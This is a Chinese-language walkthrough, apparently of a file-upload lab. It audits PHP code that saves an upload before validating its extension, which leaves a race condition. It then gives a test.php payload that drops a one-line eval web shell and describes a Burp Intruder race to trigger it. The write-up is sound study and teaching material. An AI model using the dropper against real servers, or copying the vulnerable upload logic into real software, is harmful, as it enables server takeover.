0x001 源码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
先通过move_uploaded_file
把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护。
我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址。这时候就会造成条件竞争。
0x002 绕过
test.php
<?php $file=fopen('shell.php','w+');fwrite($file,'<?php @eval($_POST[x]);?>');fclose($file);?>
访问test.php
会在本地写入一个shell.php
内容为一句话<?php @eval($_POST[x]);?>
上传文件抓包
用1这个变量作为参数发送到intruder
批量发送数据包
发包观察文件保存的地方,会看到文件是先上传到指定文件夹下后因为后缀名不合法而被删除,
抓包访问test.php,发送到intruder
模块
实现的思路就是上面那个不断发送上传文件,下面这个不断发包访问文件,在某一时刻上传的文件如果刚好被访问到那么会在本地写入一个shell.php的文件,文件内容为一句话